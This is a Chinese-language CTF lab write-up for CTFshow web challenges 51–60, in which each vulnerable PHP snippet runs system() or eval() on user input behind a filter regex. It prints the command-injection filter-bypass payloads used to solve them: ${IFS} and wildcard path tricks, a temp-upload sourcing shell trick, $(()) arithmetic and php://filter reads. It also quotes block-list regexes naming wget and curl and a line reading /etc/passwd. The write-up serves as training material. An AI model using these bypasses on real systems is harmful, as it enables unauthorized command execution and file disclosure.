《CTFshow-Web入门》06. Web 51~60
@
ctf - web入门
web51
题解
相比上一题多过滤了 tac 命令。那换一个即可。

题解:
url + ?c=nl<fl''ag.php||
web52
题解
多过滤了 “ > ” 与 “ < ”。

用 ${IFS} 绕过。
url + ?c=nl${IFS}fla''g.php||
不过这里 flag 并未直接显示。

那就尝试扫一下根目录。
url + ?c=ls${IFS}/||
发现 flag 文件。

得手。
url + ?c=nl${IFS}/fla''g||

原理
linux适用空格绕过:
<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}
%0a(回车)
web53
题解
所以这一题沿用之前 payload 即可。

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
解:
url + ?c=nl${IFS}fla''g.php
原理
PHP system() 函数:成功则返回命令输出的最后一行,失败则返回 false。
web54
题解

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题过滤了很多命令。而且不能用字符拼接。
|.*f.*l.*a.*g.*| 这种过滤就是字母不能按过滤的顺序出现
但了解原理之后也很简单。注意这题没有过滤通配符 “ ? ”。
方法一:
url + ?c=/bin/?at${IFS}f???.php

方法二:
此题没有过滤 vi 命令。
url + ?c=vi${IFS}f???.php

原理
Linux 的很多命令存放在 /bin/ 目录下,且可以通过绝对路径来使用,而且支持通配符。
如 cat 命令也可这样使用:/bin/?at
web55
题解

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这一题将字母全部过滤了,没有过滤空格和通配符 “ ? ”。
方法一:
由于未过滤数字,利用 /bin/ 目录下的 base64 进行通配符匹配。获得 flag.php 文件的 base64 编码。
url + ?c=/???/????64 ????.???

方法二:
利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。
bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀
压缩文件:
url + ?c=/???/???/????2 ????.???
这时已将 flag.php 压缩为 flag.php.bz2。直接通过 url 访问下载。
url + flag.php.bz2
获得压缩文件解压即可:

方法三:
无字母数字webshell
构造一个 post 请求并上传文件。由于没有过滤 “ . ”(点),所以通过执行文件中的 Linux 命令获取 flag。
先创建一个 html 文件,内容如下,url 换成相应网址即可:
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
界面如下:

配置 burpsuit 代理后,随便上传一个文件后提交。

构造poc执行命令:
在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]
并在上传文件内容添加sh命令:
#!/bin/sh
pwd

再看一下当前目录有哪些文件:
#!/bin/sh
ls

直接读取:
#!/bin/sh
cat /var/www/html/flag.php

到手。
了解之后,这个方法其实并不难理解。知识 + 1。
原理
- x09 为 tab键。x26为 “ & ”。
- Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
- Linux 中
.(点)命令,或者叫 period,它的作用和source命令一样,就是用当前的 shell 执行一个文件中的命令。 - ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。
web56
题解
知道 web55 的第三种解法后,这题也就不难了。

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
数字字母全过滤了。“ . ” 没有过滤。
那就用上一题的方法:
构造 post 请求上传文件。
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://2cf3e5d1-4cba-41f5-bab0-af916511335b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
配置 burp 抓包并传递参数与文件内容。
在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]
并在上传文件内容添加sh命令:
#!/bin/sh
ls

直接读取即可:

原理
- Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
- Linux 中
.(点)命令,或者叫 period,它的作用和source命令一样,就是用当前的 shell 执行一个文件中的命令。 - ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。
web57
题解
看题,过滤了 “ . ” 。得另寻他法。
根据提示知道 flag 在 36.php 中。且只用构造 36 即可。

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
那就使用 $(()) 运算来构造了。。
url + ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

大开眼界(物理)。
原理
Linux Shell 中 $(()) 的用法。相关信息
简单来说,$(()) 用来做数学运算。且 $(()) 的值为 0。
~ 在 $(()) 中代表按位取反,即 $((~$(()))) 就是 0 取反,即 -1。
$(($((~$(())))$((~$(()))))) 也就是 $((-1-1)) 为 -2。
web58
题解
注意这题使用的是 POST 请求。

可以使用 hackbar,比较方便。也可以使用 burpSuite 抓包后转换请求方法。
做题时 hackbar 抽风了,所以这里使用 burp。
传递 c=system('ls');
发现 system() 函数被禁用了。

那就用其他函数。
解:
c=show_source('flag.php');
或
c=highlight_file("flag.php");

除此以外从其他师傅处了解到还可用伪协议
解法二:
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
得到 flag 的 base64 编码。
原理
php eval() 函数,把字符串作为 PHP 代码执行。
web59
题解
题目与上一题没什么两样。

尝试了一下,使用 show_source() 函数得到了 flag。
解:
c=show_source('flag.php');

当然伪协议也可。方法同 web58。
web60
与 web59 一样。没啥好说的了。
题解

方法:
c=show_source('flag.php');
满堂唯有烛花红,杯且从容,歌且从容。
——《一剪梅 · 中秋无月》(宋)辛弃疾
《CTFshow-Web入门》06. Web 51~60的更多相关文章
- 8、web入门回顾/ Http
1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作 : 启动: %tomcat%/bin/startup.bat 关闭: % ...
- Web入门
目录 Web入门 学习web路线 前端基础 三剑客的作用 BS架构 数据格式 HTTP协议 四大特性 数据格式 HTTP 状态码分类 状态码列表 案例:简易的BS架构 Web入门 什么是前端? 任何与 ...
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow的web入门171
web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...
- Java web 入门知识 及HTTP协议详解
Java web 入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...
- Web安全之Web 安全介绍与基础入门知识
web安全介绍与基础入门知识 安全与安全圈 甲方与乙方 甲方:如腾讯,阿里等需要安全服务的公司 乙方:提供安全服务产品的服务型安全公司 web与二进制 web,研究web安全 二进制,研究如客户端安全 ...
- python web入门程序
python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...
- Spring Boot 入门之 Web 篇(二)
原文地址:Spring Boot 入门之 Web 篇(二) 博客地址:http://www.extlight.com 一.前言 上一篇<Spring Boot 入门之基础篇(一)>介绍了 ...
- Python web前端 06 运算符 循环
Python web前端 06 运算符 循环 一.运算符 #JS六大数据类型 #number 数字 #string 字符串 #boolean 布尔型 #function 函数 #undefined 未 ...
随机推荐
- Isito 入门:为什么学 Istio、Istio 是什么
1,Istio 概述 聊聊微服务设计 似乎用上 Kubernetes ,就是微服务系统了. 碰到很多人或公司盲目崇拜 Kubernetes ,一直喊着要上 Kubernetes,但是本身既没有技术储备 ...
- LINQ检索使用
我看网上对LINQ的讲解 自己整合了一下 是语言集成查询(Language Integrated Query)是一组用于C#和Visual Basic语言的扩展.能够允许编写C#或VB代码以查询数据相 ...
- 深度学习应用篇-推荐系统[12]:经典模型-DeepFM模型、DSSM模型召回排序策略以及和其他模型对比
深度学习应用篇-推荐系统[12]:经典模型-DeepFM模型.DSSM模型召回排序策略以及和其他模型对比 1.DeepFM模型 1.1.模型简介 CTR预估是目前推荐系统的核心技术,其目标是预估用户点 ...
- 【Rust-book】第五章 使用结构体来组织相关联的数据
第五章 使用结构体来组织相关联的数据 结构,或者结构体,是一种自定义数据类型,它允许我们命名多个相关的值并将它们组成一个有机的结合体. 可以把结构体视作对象中的数据属性 1 对比元组和结构体之间的异同 ...
- 声音克隆,精致细腻,人工智能AI打造国师“一镜到底”鬼畜视频,基于PaddleSpeech(Python3.10)
电影<满江红>上映之后,国师的一段采访视频火了,被无数段子手恶搞做成鬼畜视频,诚然,国师的这段采访文本相当经典,他生动地描述了一个牛逼吹完,大家都信了,结果发现自己没办法完成最后放弃,随后 ...
- JVM、JRE和JDK的理解
JVM JVM,全称为Java Virtual Machine,中文的意思是:Java虚拟机. 在理解Java虚拟机这个定义之前,我们先讲讲为何叫虚拟机呢?称为虚拟机,顾名思义,它应该不是真实存在 ...
- WPF入门教程系列二十八 ——DataGrid使用示例MVVM模式(6)
WPF入门教程系列目录 WPF入门教程系列二--Application介绍 WPF入门教程系列三--Application介绍(续) WPF入门教程系列四--Dispatcher介绍 WPF入门教程系 ...
- 免杀系列之利用blockdlls和ACG保护恶意进程
blockdlls Cobalt Strike 3.14版本以后添加了blockdlls功能,它将创建一个子进程并限定该子进程只能加载带有Microsoft签名的DLL. 这个功能可以阻止第三方安全软 ...
- windows安全中心打不开
解决win11打不开安全中心的问题!!! 许多用户在最近都升级了Windows11系统,而且不少用户最近在使用Win11的时候发现自己打不开Windows安全中心 操作方法: 管理员权限打开Power ...
- Prometheus-2:blackbox_exporter黑盒监控
黑盒监控blackbox_exporter 前边介绍有很多exporter可以直接将metrics暴露给Prometheus进行监控,这些称为"白盒监控",那些exporter无法 ...